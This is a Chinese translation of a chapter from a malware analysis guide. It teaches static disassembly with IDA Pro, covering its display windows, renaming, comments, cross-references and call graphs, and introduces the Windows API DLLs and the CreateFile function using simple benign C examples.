恶意软件分析学习指南(二)
原文:
annas-archive.org/md5/6464eec061058ae554d0950e983941aa译者:飞龙
第五章:使用 IDA 进行反汇编
代码分析通常用于在无法获得源代码的情况下理解恶意二进制文件的内部工作原理。在前一章中,你学习了代码分析的技巧和方法,如何解读汇编代码并理解程序的功能;我们使用的程序是简单的 C 程序,但当你处理恶意软件时,它可能包含数千行代码和数百个函数,这使得跟踪所有变量和函数变得困难。
代码分析工具提供了多种功能来简化代码分析。本章将介绍一个这样的代码分析工具,名为IDA Pro(也称为IDA*)。你将学习如何利用 IDA Pro 的功能来增强你的反汇编工作。在深入了解 IDA 的功能之前,让我们先了解一下不同的代码分析工具。
1. 代码分析工具
代码分析工具可以根据其功能进行分类,具体如下所述。
反汇编器是一个将机器码转换回汇编代码的程序;它允许你进行静态代码分析。静态代码分析是一种可以用来解读代码以理解程序行为的技术,无需执行二进制文件。
调试器是一个也能进行代码反汇编的程序;除此之外,它还允许你以受控的方式执行已编译的二进制文件。使用调试器,你可以执行单条指令或选择的函数,而不是执行整个程序。调试器允许你进行动态代码分析,并帮助你在程序运行时检查可疑二进制文件的各个方面。
反编译器是一个将机器码转换为高级语言(伪代码)代码的程序。反编译器可以极大地帮助你进行逆向工程,并简化你的工作。
2. 使用 IDA 进行静态代码分析(反汇编)
Hex-Rays IDA Pro 是最强大且最受欢迎的商业反汇编/调试工具(www.hex-rays.com/products/ida/index.shtml);它被逆向工程师、恶意软件分析师和漏洞研究人员广泛使用。IDA 可以在多种平台上运行(Windows、Linux 和 macOS),并支持分析多种文件格式,包括 PE/ELF/Macho-O 格式。除了商业版本,IDA 还提供了另外两个版本:IDA 演示版(评估版) 和 IDA 免费版; 这两个版本都有一些限制。你可以从 www.hex-rays.com/products/ida/support/download_freeware.shtml 下载适用于非商业用途的 免费版。在写这本书时,分发的免费版是 IDA 7.0;它允许你反汇编 32 位和 64 位 Windows 二进制文件,但你将无法使用免费版进行调试。你可以通过填写表格(out7.hex-rays.com/demo/request)请求 演示版(评估版);它允许你反汇编 32 位和 64 位 Windows 二进制文件,并且可以调试 32 位二进制文件(但不能调试 64 位二进制文件)。演示版的另一个限制是你无法保存数据库(稍后会在本章中介绍)。演示版和免费版都不支持 IDAPython。商业版 的 IDA 不会缺少任何功能,并提供全年的免费电子邮件支持和升级服务。
在本节以及后续章节中,我们将探讨 IDA Pro 的各种功能,你将学习如何使用 IDA 进行静态代码分析(反汇编)。由于无法涵盖 IDA 的所有功能,本章节仅介绍与恶意软件分析相关的功能。如果你有兴趣深入了解 IDA Pro,建议阅读 Chris Eagle 的书籍,《The IDA Pro Book (第二版)》。为了更好地理解 IDA,建议你加载一个二进制文件,并在阅读本节及后续章节时探索 IDA 的各种功能。记住,IDA 不同版本的功能有所限制。如果你使用的是商业版,你将能够探索本书中涵盖的所有功能。如果你使用的是演示版,你只能探索反汇编和调试功能(仅限 32 位二进制文件),但无法测试IDAPython 脚本功能。如果你使用的是免费版,你只能试用反汇编功能(无法调试,也无法使用 IDAPython 脚本)。我强烈推荐使用商业版或演示版的 IDA,使用这些版本你将能够体验本书中涵盖的所有或大部分功能。如果你希望查看其他调试工具以调试 32 位和 64 位二进制文件,可以使用 x64dbg(一个开源的 x64/x86 调试器),它将在下一章中介绍。了解了不同版本的 IDA 后,让我们开始探索其功能,你将明白它如何加速你的逆向工程和恶意软件分析工作。
2.1 在 IDA 中加载二进制文件
要加载可执行文件,启动 IDA Pro(右键点击并选择“以管理员身份运行”)。当你启动 IDA 时,它会简短地显示一个屏幕,展示你的许可信息;随后,你将看到以下界面。选择“新建”,并选择你希望分析的文件。如果你选择“开始”,IDA 会打开一个空的工作区。要加载文件,你可以直接拖放文件,或者点击“文件 | 打开”并选择文件:
您提供给 IDA 的文件将被加载到内存中(IDA 像 Windows 加载器一样工作)。为了将文件加载到内存中,IDA 会确定最佳加载器,并从文件头部确定在反汇编过程中应使用的处理器类型。选择文件后,IDA 会显示加载对话框(如以下截图所示)。从截图中可以看到,IDA 确定了合适的加载器(pe.ldw和dos.ldw)以及处理器类型。如果您使用的是 IDA 演示版本,您将看不到“二进制文件”选项。该选项用于 IDA 加载它无法识别的文件。通常在处理 shellcode 时,您会使用此选项。默认情况下,IDA 不会在反汇编中加载PE 头部和资源部分。通过使用手动加载复选框选项,您可以手动指定可执行文件应加载的基地址,并且 IDA 会提示您是否加载每个部分,包括 PE 头部:
点击“确定”后,IDA 将文件加载到内存中,反汇编引擎开始反汇编机器代码。反汇编后,IDA 会执行初步分析,识别编译器、函数参数、局部变量、库函数及其参数。可执行文件加载后,您将进入 IDA 桌面,显示程序的反汇编输出。
2.2 探索 IDA 显示界面
IDA 桌面将许多常见静态分析工具的功能集成到一个界面中。本节将帮助您了解 IDA 桌面及其各种窗口。以下截图显示了加载可执行文件后的 IDA 桌面。IDA 桌面包含多个标签(如 IDA 视图-A、Hex 视图-1 等);点击每个标签会显示不同的窗口。每个窗口显示从二进制文件提取的不同信息。您还可以通过查看 | 打开子视图菜单添加额外的标签:
2.2.1 反汇编窗口
在可执行文件加载后,您将看到反汇编窗口(也称为 IDA 视图窗口)。这是主要窗口,显示反汇编后的代码。您将主要使用这个窗口来分析二进制文件。
IDA 可以通过两种显示模式显示反汇编代码:图形视图和文本视图。图形视图是默认视图,当反汇编视图(IDA 视图)处于活动状态时,您可以通过按空格键在图形视图和文本视图之间切换。
在图形视图模式下,IDA 一次只显示一个函数,以流程图样式展示,且每个函数被分解成基本块。此模式有助于快速识别分支和循环语句。在图形视图中,箭头的颜色和方向表示根据特定决策将采取的路径。条件跳转使用绿色和红色箭头;绿色箭头表示如果条件为真,跳转将会发生,红色箭头表示跳转不会发生(正常流程)。蓝色箭头表示无条件跳转,而循环由向上(向后)的蓝色箭头表示。在图形视图中,虚拟地址默认不显示(这是为了最小化每个基本块所需显示的空间)。要显示虚拟地址信息,可以点击选项 | 常规并启用行前缀。
下图展示了main函数在图形视图模式下的反汇编。注意在地址0x0040100B和0x0040100F处的条件检查。如果条件为真,控制会转移到地址0x0040101A(由绿色箭头表示),如果条件为假,控制会转移到0x00401011(由红色箭头表示)。换句话说,绿色箭头表示跳转,红色箭头表示正常流程:
在文本视图模式下,整个反汇编呈线性展示。下图展示了相同程序的文本视图;虚拟地址默认以<节名称>:<虚拟地址>的格式显示。文本视图窗口的左侧部分称为箭头窗口,用于表示程序的非线性流程。虚线箭头表示条件跳转,实线箭头表示无条件跳转,而向后箭头(指向上的箭头)表示循环:
2.2.2 函数窗口
函数窗口展示了 IDA 识别的所有函数,并显示每个函数的虚拟地址、函数大小以及其他各种属性。你可以双击任何函数跳转到选定的函数。每个函数都与各种标志(如R、F、L等)关联。你可以在帮助文件中获取这些标志的更多信息(按F1键)。一个有用的标志是L标志,表示该函数是库函数。库函数是编译器生成的,并不是恶意软件作者编写的;从代码分析的角度来看,我们关注的是分析恶意软件代码,而不是库代码。
2.2.3 输出窗口
输出窗口 显示 IDA 和 IDA 插件生成的消息。这些消息可以提供有关二进制分析和你所执行的各种操作的信息。你可以查看输出窗口的内容,以了解当可执行文件被加载时,IDA 执行的各种操作。
2.2.4 十六进制视图窗口
你可以点击 Hex View-1 标签来显示 十六进制窗口。十六进制窗口显示了一系列字节的十六进制转储和 ASCII 格式。默认情况下,十六进制窗口与反汇编窗口同步;这意味着,当你在反汇编窗口中选择任何项时,相应的字节会在十六进制窗口中高亮显示。十六进制窗口对于检查内存地址的内容非常有用。
2.2.5 结构窗口
点击 Structures 标签将打开结构窗口。结构窗口列出了程序中使用的标准数据结构的布局,并且还允许你创建自己的数据结构。
2.2.6 导入窗口
导入窗口 列出了二进制文件所导入的所有函数。下图显示了导入的函数以及这些函数所在的共享库(DLL)。有关导入的详细信息,请参见 第二章*,静态分析*:
2.2.7 导出窗口
导出窗口 列出了所有已导出的函数。已导出的函数通常位于 DLL 文件中,因此当你分析恶意 DLL 时,这个窗口会非常有用。
2.2.8 字符串窗口
默认情况下,IDA 不显示 字符串窗口;你可以通过点击 View | Open Subviews | Strings(或 Shift + F12)来打开字符串窗口。字符串窗口显示从二进制文件中提取的字符串列表及其地址。默认情况下,字符串窗口仅显示长度至少为五个字符的 以 null 结尾的 ASCII 字符串。在 第二章*,静态分析* 中,我们看到恶意二进制文件可能使用 UNICODE 字符串。你可以配置 IDA 显示不同类型的字符串;为此,在字符串窗口中,右键点击 Setup(或 Ctrl + U),勾选 Unicode C-style(16 位),然后点击 OK**。**
2.2.9 段窗口
段窗口可以通过 View | Open Subviews | Segments(或 Shift + F7)打开。段窗口列出了二进制文件中的各个段(.text、.data 等)。显示的信息包含每个段的 起始地址、结束地址 和 内存权限。起始和结束地址指定了每个段在运行时映射到内存中的虚拟地址。
2.3 使用 IDA 改进反汇编
在本节中,我们将探索 IDA 的各种功能,您将学习如何将前一章中获得的知识与 IDA 提供的功能相结合,以增强反汇编过程。考虑以下简单程序,它将一个局部变量的内容复制到另一个局部变量中:
int main()
{
int x = 1;
int y;
y = x;
return 0;
}
在编译上述代码并将其加载到 IDA 后,程序反汇编为以下内容:
.text:00401000 ; Attributes: bp-based frame ➊
.text:00401000
.text:00401000 ; ➋ int __cdecl main(int argc, const char **argv, const char **envp)
.text:00401000 ➐ _main proc near
.text:00401000
.text:00401000 var_8= dword ptr -8 ➌
.text:00401000 var_4= dword ptr -4 ➌
.text:00401000 argc= dword ptr 8 ➌
.text:00401000 argv= dword ptr 0Ch ➌
.text:00401000 envp= dword ptr 10h ➌
.text:00401000
.text:00401000 push ebp ➏
.text:00401001 mov ebp, esp ➏
.text:00401003 sub esp, 8 ➏ .text:00401006 mov ➍ [ebp+var_4], 1
.text:0040100D mov eax, [ebp+var_4] ➍
.text:00401010 mov ➎ [ebp+var_8], eax
.text:00401013 xor eax, eax
.text:00401015 mov esp, ebp ➏
.text:00401017 pop ebp ➏
.text:00401018 retn
当一个可执行文件被加载时,IDA 会对每个反汇编的函数进行分析,以确定栈帧的布局。除此之外,IDA 还使用各种签名并运行模式匹配算法,来判断反汇编的函数是否与 IDA 已知的任何签名匹配。在➊处,注意在执行初步分析后,IDA 添加了一条注释(该注释以分号开始),它告诉你使用的是基于ebp的栈帧;这意味着ebp寄存器被用来引用局部变量和函数参数(关于ebp基栈帧的详细内容,我们在前一章讨论函数时已涉及)。在➋处,IDA 利用其强大的检测功能识别该函数为main函数,并插入了function prototype注释。在分析过程中,这一功能对于确定函数接受的参数数量以及它们的数据类型非常有用。
在➌处,IDA 为你提供了栈视图的概述;IDA 能够识别出局部变量和函数参数。在main函数中,IDA 识别出了两个局部变量,它们分别被自动命名为var_4和var_8。IDA 还告诉你,var_4对应值-4,而var_8对应值-8。-4和-8表示相对于ebp(帧指针)的偏移量;这是 IDA 的一种方式,表明它在代码中将var_4替换为-4,将var_8替换为-8。注意在➍和➎处的指令,你可以看到 IDA 将内存引用[ebp-4]替换为[ebp+var_4],将[ebp-8]替换为[ebp+var_8]。
如果 IDA 没有替换这些值,那么在➍和➎处的指令将会像这里展示的那样,你将不得不手动标记所有这些地址(正如我们在前一章中讨论过的)。
.text:00401006 mov dword ptr [ebp-4], 1
.text:0040100D mov eax, [ebp-4]
.text:00401010 mov [ebp-8], eax
IDA 自动为变量/参数生成了虚拟名称并在代码中使用了这些名称;这节省了手动标记地址的工作,并且由于 IDA 添加的var_xxx和arg_xxx前缀,使得识别局部变量和参数变得更加容易。现在,你可以将➍处的[ebp+var_4]当作[var_4]来看待,因此指令mov [ebp+var_4],1可以被看作mov [var_4],1,并且可以理解为将var_4的值设为1(换句话说,var_4 = 1)。类似地,指令mov [ebp+var_8],eax可以被看作mov [var_8],eax(换句话说,var_8 = eax);IDA 的这个功能使得阅读汇编代码变得更加轻松。
前面的程序可以通过忽略函数序言、函数尾声和用于为局部变量分配空间的指令简化。根据上一章节介绍的概念,我们知道这些指令只是用于设置函数环境。清理后,我们得到以下代码:
.text:00401006 mov [ebp+var_4], 1
.text:0040100D mov eax, [ebp+var_4]
.text:00401010 mov [ebp+var_8], eax
.text:00401013 xor eax, eax
.text:00401018 retn
2.3.1 重命名位置
到目前为止,我们已经看到 IDA 如何对我们的程序执行分析以及如何添加虚拟名称。虚拟名称很有用,但这些名称并不说明变量的目的。在分析恶意软件时,您应该将变量/函数名称更改为更有意义的名称。要重命名变量或参数,请右键单击变量名或参数,然后选择重命名(或按N键);这将弹出以下对话框。重命名后,IDA 将将新名称传播到引用该项的任何地方。您可以使用重命名功能为函数和变量赋予有意义的名称:
在前述代码中将var_4的名称更改为x,将var_8的名称更改为y将导致显示如下的新列表:
.text:00401006 mov [ebp+x], 1
.text:0040100D mov eax, [ebp+x]
.text:00401010 mov [ebp+y], eax
.text:00401013 xor eax, eax
.text:00401018 retn
您现在可以将前述指令翻译为伪代码(如前一章节所述)。为此,让我们利用 IDA 中的注释功能。
2.3.2 在 IDA 中添加注释
注释对于提醒您程序中的重要事项非常有用。要添加常规注释,请将光标放在反汇编列表中的任何行上,然后按热键冒号(:),这将弹出注释输入对话框,您可以在其中输入注释。以下列表显示了描述各个指令的注释(以;开头):
.text:00401006 mov [ebp+x], 1 ; x = 1
.text:0040100D mov eax, [ebp+x] ; eax = x
.text:00401010 mov [ebp+y], eax ; y = eax
.text:00401013 xor eax, eax ; return 0
.text:00401018 retn
常规注释特别适用于描述单行(即使您可以输入多行),但如果我们能够将前面的注释分组在一起描述main函数的功能,那将会很棒。IDA 提供了另一种称为函数注释的注释类型,允许您将注释分组并在函数的反汇编列表顶部显示它们。要添加函数注释,请突出显示函数名称,例如在前面的反汇编列表中显示的_main,然后按冒号(:)。以下显示了在_main函数顶部添加的伪代码,作为使用函数注释的结果,现在伪代码可以提醒您函数的行为:
.text:00401000 ; x = 1 ➑
.text:00401000 ; y = x ➑
.text:00401000 ; return 0 ➑
.text:00401000 ; Attributes: bp-based frame
.text:00401000
.text:00401000 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00401000 _main proc near ; CODE XREF: ___tmainCRTStartup+194p
现在我们已经使用了 IDA 的一些功能来分析二进制文件,如果有一种方法可以保存变量的名称和我们添加的注释,那不是很好吗?这样,下次当你将相同的二进制文件加载到 IDA 中时,就不必再次按照这些步骤进行了。实际上,之前所做的任何操作(如重命名或添加注释)都是针对数据库而不是可执行文件进行的;在下一节中,您将学习如何轻松保存数据库。
2.3.3 IDA 数据库
当可执行文件加载到 IDA 时,它会在工作目录中创建一个由五个文件(扩展名为 .id0、.id1、.nam、.id2 和 .til 的文件)组成的数据库。每个文件存储着不同的信息,并且具有与所选可执行文件匹配的基本名称。这些文件会被归档并压缩成一个 .idb(用于 32 位二进制文件)或 .i64(用于 64 位二进制文件)扩展名的数据库文件。在加载可执行文件时,数据库会被创建并填充来自可执行文件的信息。展示给你的各种视图实际上只是数据库的不同展示方式,以便以有助于代码分析的格式呈现信息。你所做的任何修改(如重命名、注释等)都会反映在视图中,并保存在数据库中,但这些更改并不会修改原始的可执行文件。你可以通过关闭 IDA 来保存数据库;当你关闭 IDA 时,会弹出一个保存数据库的对话框,如下图所示。选择默认的打包数据库选项时,所有文件会被归档为一个单独的 IDB(.idb)或 i64(.i64)文件。当你重新打开 .idb 或 .i64 文件时,你应该能够看到已重命名的变量和注释:
让我们看另一个简单的程序,并探索 IDA 的一些其他功能。以下程序包含了全局变量 a 和 b,这些变量在 main 函数中被赋值。变量 x、y 和 string 是局部变量;x 保存 a 的值,而 y 和 string 保存地址:
int a;
char b;
int main()
{
a = 41;
b = 'A';
int x = a;
int *y = &a;
char *string = "test";
return 0;
}
程序会翻译成以下的反汇编列表。IDA 在 ➊ 处识别了三个局部变量,并将这些信息传播到程序中。IDA 还识别了全局变量,并分配了像 dword_403374 和 byte_403370 这样的名称;注意如何使用固定的内存地址来引用 ➋、➌ 和 ➍ 处的全局变量。原因是,当一个变量在全局数据区中定义时,编译器在编译时就知道了变量的地址和大小。IDA 分配的虚拟全局变量名指定了变量的地址以及它们包含的数据类型。例如,dword_403374 告诉你地址 0x403374 可以包含一个 dword 值(4 字节);类似地,byte_403370 告诉你 0x403370 可以保存一个单一的 byte 值。
IDA 在 ➎ 和 ➏ 处使用了 offset 关键字,表示使用了变量的地址(而不是变量的内容),并且由于在 ➎ 和 ➏ 处为局部变量 var_8 和 var_C 分配了地址,你可以看出 var_8 和 var_C 保存的是地址(即“指针”变量)。在 ➏ 处,IDA 为包含字符串的地址分配了虚拟名称 aTest(字符串变量)。这个虚拟名称是通过字符串中的字符生成的,字符串 "test" 本身被作为一个 comment 添加,以指示该地址包含该字符串:
.text:00401000 var_C= dword ptr -0Ch ➊
.text:00401000 var_8= dword ptr -8 ➊
.text:00401000 var_4= dword ptr -4 ➊
.text:00401000 argc= dword ptr 8
.text:00401000 argv= dword ptr 0Ch
.text:00401000 envp= dword ptr 10h
.text:00401000
.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 sub esp, 0Ch
.text:00401006 mov ➋ dword_403374, 29h
.text:00401010 mov ➌ byte_403370, 41h
.text:00401017 mov eax, dword_403374 ➍
.text:0040101C mov [ebp+var_4], eax
.text:0040101F mov [ebp+var_8], offset dword_403374 ➎
.text:00401026 mov [ebp+var_C], offset aTest ; "test" ➏
.text:0040102D xor eax, eax
.text:0040102F mov esp, ebp
.text:00401031 pop ebp
.text:00401032 retn
到目前为止,在这个程序中,我们已经看到 IDA 通过执行其分析并为地址分配虚拟名称(您可以使用之前介绍的重命名选项将这些地址重命名为更有意义的名称)来帮助。 在接下来的几节中,我们将看到 IDA 的其他功能,以进一步改进反汇编。
2.3.4 格式化操作数
在前述清单中的➋和➌处,操作数(29h和41h)表示为十六进制常量值,而在源代码中,我们使用了十进制值41和字符'A'。 IDA 允许您将常量值重新格式化为十进制、八进制或二进制值。 如果常量落在 ASCII 可打印范围内,则还可以将常量值格式化为字符。 例如,要更改41h的格式,请右键单击常量值(41h),之后将呈现不同的选项,如下图所示。 选择适合您需求的选项:
2.3.5 导航位置
IDA 的另一个重要功能是使得在程序中的任何位置导航变得更加容易。 当程序被反汇编时,IDA 为程序中的每个位置都标记了标签,双击这些位置将会跳转到所选位置。 在前面的示例中,您可以通过双击任何命名位置(如dword_403374、byte_403370和aTest)来导航到其中任何一个。 例如,双击➏处的aTest将会跳转到.data部分中的虚拟地址,如下所示。 请注意 IDA 如何将包含字符串"test"的地址0x00403000标记为aTest:
.data:00403000 aTest db 'test',0 ➐; DATA XREF: _main+26o
类似地,双击地址dword_403374将重新定位到此处显示的虚拟地址:
.data:00403374 dword_403374 dd ? ➑; DATA XREF: _main+6w
.data:00403374 ➒; _main+17r ...
IDA 会跟踪您的导航历史记录; 每当您导航到新位置并希望返回到原始位置时,您可以使用导航按钮。 在前面的示例中,要返回到反汇编窗口,只需使用后退导航按钮,如下图所示:
有时,您可能知道要导航到的确切地址。 要跳转到特定地址,请单击跳转 | 跳转到地址(或按G键); 这将弹出跳转到地址对话框。 只需指定地址并单击确定。
2.3.6 交叉引用
另一种导航方式是使用交叉引用(也称为Xrefs)。 交叉引用链接相关地址。 交叉引用可以是数据交叉引用或代码交叉引用。
数据交叉引用指定了数据在二进制文件中的访问方式。在前面的列表中,➐、➑和➒处展示了数据交叉引用的示例。例如,➑处的数据交叉引用告诉我们,这个数据是由偏移量为0x6的指令访问的,即_main函数的指令(换句话说,就是➋处的指令)。字符w表示写入交叉引用;这表明该指令将内容写入此内存位置(请注意,29h被写入了➋处的内存位置)。➒处的字符r表示读取交叉引用,这告诉我们,指令_main+17(换句话说,就是➍处的指令)从该内存位置读取内容。➒处的省略号(...)表示还有更多的交叉引用,但由于显示限制,未能展示。另一种类型的数据交叉引用是偏移交叉引用(由字符o表示),它表明使用的是某个位置的地址,而不是内容。数组和字符串(字符数组)通过其起始地址进行访问,因此➐处的字符串数据标记为偏移交叉引用。
代码交叉引用表示控制流从一个指令跳转到另一个指令(例如跳转或函数调用)。以下展示了一个简单的 C 语言if语句:
int x = 0;
if (x == 0)
{
x = 5;
}
x = 2;
程序反汇编后的列表如下。在➊处,注意到 C 代码中的equal to(==)条件被反转为jnz(即jne或jump, if not equal的别名);这样做是为了实现从➊跳转到➋的分支。你可以理解为if var_4 不等于 0,然后跳转到loc_401018(即跳转到if块之外)。跳转交叉引用的注释显示在跳转目标➌处,表示控制流从一个指令(即偏移量为0xF的指令)转移到另一个位置(换句话说,就是➊处的指令)。注释末尾的字符j表示控制流因跳转而发生了转移。你可以双击交叉引用注释(_Main+Fj),以将显示切换到➊处的引用指令:
.text:00401004 mov [ebp+var_4], 0
.text:0040100B cmp [ebp+var_4], 0
.text:0040100F jnz short loc_401018 ➊
.text:00401011 mov [ebp+var_4], 5
.text:00401018
.text:00401018 loc_401018: ➌; CODE XREF: _main+Fj
.text:00401018 ➋ mov [ebp+var_4], 2
通过按下空格键,前面的列表可以在图形视图模式下查看。图形视图特别有助于可视化分支/循环语句。如前所述,绿色箭头表示跳转已发生(条件已满足),红色箭头表示跳转未发生,蓝色箭头表示正常路径:
现在,为了理解函数交叉引用,请参考以下 C 代码,它在main()函数内调用了test()函数:
void test() { }
void main() {
test();
}
以下是 main 函数的反汇编清单。➊ 处的 sub_401000 代表 test 函数。IDA 自动使用 sub_ 前缀为函数地址命名,以表示 子程序(或函数)。例如,当你看到 sub_401000 时,你可以理解为这是位于地址 0x401000 的子程序(你也可以将其重命名为更有意义的名称)。如果你愿意,可以通过双击函数名跳转到该函数:
.text:00401010 push ebp
.text:00401011 mov ebp, esp
.text:00401013 call sub_401000 ➊
.text:00401018 xor eax, eax
在 sub_401000(test 函数)开始处,IDA 添加了一个代码交叉引用注释 ➋,表示该函数 sub_401000 是由 _main 函数起始位置偏移 3 处的指令调用的(也就是从 ➊ 调用)。你可以通过双击 _main+3p 来跳转到 _main 函数。p 后缀表示控制流因 函数(过程) 调用而转移到地址 0x401000:
.text:00401000 sub_401000 proc near ➋; CODE XREF: _main+3p
.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 pop ebp
.text:00401004 retn
.text:00401004 sub_401000 endp
2.3.7 列出所有交叉引用
交叉引用 在分析恶意二进制文件时非常有用。在分析过程中,如果你遇到一个 字符串 或 有用的函数,并且想了解它们在代码中的使用方式,那么你可以使用交叉引用快速跳转到引用该字符串或函数的位置。IDA 添加的交叉引用注释是定位地址之间的一种很好的方法,但它有显示限制(最多显示两项);因此,你将无法看到所有的交叉引用。请参考以下的数据交叉引用 ➊;省略号(...)表示还有更多交叉引用:
.data:00403374 dword_403374 dd ? ; DATA XREF: _main+6w
.data:00403374 ; _main+17r ... ➊
假设你想列出所有的交叉引用,只需点击命名位置(如dword_403374),然后按 X 键。这将弹出一个窗口,列出所有引用该命名位置的地方,如下所示。你可以双击这些条目中的任何一个,跳转到程序中使用该数据的位置。你可以使用这种方法查找所有指向 字符串 或 函数 的交叉引用:
一个程序通常包含许多函数。单个函数可以被一个或多个函数调用,或者它本身可以调用一个或多个函数。在进行恶意软件分析时,你可能希望快速了解一个函数。在这种情况下,你可以高亮显示函数名,并选择视图 | 打开子视图 | 函数调用,以查看函数的交叉引用。以下截图显示了sub_4013CD(来自恶意软件样本)函数的Xrefs。窗口的上半部分告诉你sub_401466函数调用了sub_4013CD,而窗口的下半部分显示了所有sub_4013CD将调用的函数;注意,下半部分显示了sub_4013CD将调用的 API 函数(CreateFile和WriteFile);根据这些信息,你可以推断出sub_4013CD函数与文件系统进行了交互:
2.3.8 邻近视图和图形
IDA 的图形选项是可视化交叉引用的好方法。除了前面展示的图形视图外,你还可以使用 IDA 集成的图形功能,称为邻近视图,来显示程序的调用图。要查看之前示例中sub_4013CD函数的调用图,在函数内的任意位置放置光标后,点击视图 | 打开子视图 | 邻近浏览器;这将把反汇编窗口的视图切换到邻近视图,具体如下所示。在邻近视图中,函数和数据引用以节点的形式表示,它们之间的交叉引用以边(连接节点的线)表示。以下图显示了sub_4013CD的Xrefs to和Xrefs from。sub_4013CD的父节点(即sub_401466)表示它的调用函数,而sub_4013CD调用的函数则表示为子节点。你可以通过双击加号图标或右键点击加号图标并选择展开节点来进一步深入查看父子关系(Xrefs to 和 Xrefs from)。你还可以右键点击节点,使用展开父节点/子节点或折叠父节点/子节点的选项来展开或折叠节点的父节点或子节点。你还可以通过使用Ctrl + 鼠标滚轮来进行缩放。要从邻近视图返回到反汇编视图,只需右键点击背景并选择图形视图或文本视图:
除了集成图形,IDA 还可以使用第三方图形应用程序显示图形。要使用这些图形选项,右键点击工具栏区域并选择图形,这将在工具栏区域显示五个按钮:
你可以通过点击任意一个按钮来生成不同类型的图表,但这些图表并非交互式的(与集成的基于图形的反汇编视图和邻近视图不同)。以下概述了这些按钮的功能:
| 它显示当前函数的外部流程图。这类似于 IDA 反汇编窗口中的交互式图形视图模式。 | |
|---|---|
| 它显示了整个程序的调用图;这可以用来快速了解程序内部函数调用的层级关系,但如果二进制文件包含太多函数,图表可能会难以查看,因为它可能变得非常大且杂乱无章。 | |
它显示了对 (Xrefs to) 函数的交叉引用;如果您想查看程序到达特定函数的各种路径,这非常有用。以下截图展示了到达 sub_4013CD 函数的路径: | |
它显示从(Xrefs from)一个函数的交叉引用;这对于了解一个特定函数调用的所有函数非常有用。以下示意图将帮助您了解 sub_4013CD 将调用的所有函数: | |
| 这是 用户交叉引用(User Xref) 按钮,允许您生成自定义的交叉引用图。 |
通过了解如何利用 IDA 的功能来增强您的反汇编效果,让我们进入下一个主题,在这个主题中,您将学习恶意软件如何使用 Windows API 与系统进行交互。您将学到如何获取更多关于 API 函数的信息,以及如何区分并解释 32 位和 64 位恶意软件中的 Windows API。
3. 拆解 Windows API
恶意软件通常使用 Windows API 函数 (应用程序编程接口) 来与操作系统交互(执行文件系统、进程、内存和网络操作)。正如在 第二章静态分析 和 第三章动态分析 中所解释的那样,Windows 在 动态链接库(DLL) 文件中导出了执行这些交互所需的大部分函数。可执行文件从这些 DLL 中导入并调用 API 函数,这些 DLL 提供不同的功能。为了调用 API,执行进程将 DLL 加载到其内存中,然后调用 API 函数。检查恶意软件依赖的 DLL 及其导入的 API 函数可以帮助我们了解恶意软件的功能和能力。下表概述了一些常见的 DLL 及其实现的功能:
| DLL | 描述 |
|---|---|
Kernel32.dll | 该 DLL 导出与进程、内存、硬件和文件系统操作相关的函数。恶意软件从这些 DLL 中导入 API 函数,以执行与文件系统、内存和进程相关的操作。 |
Advapi32.dll | 该 DLL 包含与服务和注册表相关的功能。恶意软件使用这个 DLL 中的 API 函数来执行服务和注册表相关的操作。 |
Gdi32.dll | 它导出与图形相关的函数。 |
User32.dll | 它实现了创建和操作 Windows 用户界面组件的函数,例如桌面、窗口、菜单、消息框、提示框等。一些恶意软件程序使用这个 DLL 中的函数进行 DLL 注入,并监控键盘(键盘记录)和鼠标事件。 |
MSVCRT.dll | 它包含 C 标准库函数的实现。 |
WS2_32.dll 和 WSock32.dll | 它们包含用于网络通信的函数。恶意软件从这些 DLL 导入函数以执行与网络相关的任务。 |
Wininet.dll | 它暴露了与 HTTP 和 FTP 协议交互的高级函数。 |
Urlmon.dll | 它是 WinInet.dll 的封装,负责 MIME 类型处理和网页内容的下载。恶意软件下载器使用这个 DLL 中的函数来下载额外的恶意软件内容。 |
NTDLL.dll | 它导出 Windows 本地 API 函数,并充当用户模式程序与内核之间的接口。例如,当程序调用 kernel32.dll(或 kernelbase.dll)中的 API 函数时,API 会调用 ntdll.dll 中的短小存根。程序通常不会直接从 ntdll.dll 导入函数;ntdll.dll 中的函数是通过像 Kernel32.dll 这样的 DLL 间接导入的。ntdll.dll 中的大部分函数未公开,恶意软件作者有时会直接从这个 DLL 中导入函数。 |
3.1 理解 Windows API
为了演示恶意软件如何利用 Windows API,并帮助你了解如何获取更多有关 API 的信息,让我们看看一个恶意软件样本。将恶意软件样本加载到 IDA 中,并检查导入窗口中的导入函数,显示出对 CreateFile API 函数的引用,如下截图所示:
在确定此 API 在代码中引用的位置之前,让我们先获取更多关于 API 调用的信息。每当你遇到一个 Windows API 函数(如上面的例子所示),你可以通过简单地在 Microsoft 开发者网络 (MSDN) 上搜索它来了解更多关于该 API 函数的信息,网址是 msdn.microsoft.com/,或者通过 Google 搜索。MSDN 文档会提供 API 函数的描述、其函数参数(及其数据类型)和返回值。CreateFile 的函数原型(如文档中提到的 msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx)显示在以下代码段中。从文档中,你可以看出这个函数用于 创建 或 打开 文件。要了解程序创建或打开的是哪个文件,你需要检查第一个参数(lpFilename),它指定了文件名。第二个参数(dwDesiredAccess)指定了请求的访问权限(如 读取 或 写入 权限),第五个参数指定了对文件采取的操作(如创建新文件或打开现有文件):
HANDLE WINAPI CreateFile(
_In_ LPCTSTR lpFileName,
_In_ DWORD dwDesiredAccess,
_In_ DWORD dwShareMode,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
_In_ DWORD dwCreationDisposition,
_In_ DWORD dwFlagsAndAttributes,
_In_opt_ HANDLE hTemplateFile
);
Windows API 使用 匈牙利命名法 来命名变量。在这种命名法中,变量前缀是其数据类型的缩写;这使得很容易理解给定变量的数据类型。在上面的例子中,考虑第二个参数 dwDesiredAccess;dw 前缀指定它是 DWORD 数据类型。Win32 API 支持许多不同的数据类型(msdn.microsoft.com/en-us/library/windows/desktop/aa383751(v=vs.85).aspx)。下表概述了一些相关的数据类型:
| 数据类型 | 描述 |
|---|---|
BYTE (b) | 无符号 8 位值。 |
WORD (w) | 无符号 16 位值。 |
DWORD (dw) | 无符号 32 位值。 |
QWORD (qw) | 无符号 64 位值。 |
Char (c) | 8 位 ANSI 字符。 |
WCHAR | 16 位 Unicode 字符。 |
TCHAR | 通用字符(1 字节 ASCII 字符或 2 字节 Unicode 字符)。 |
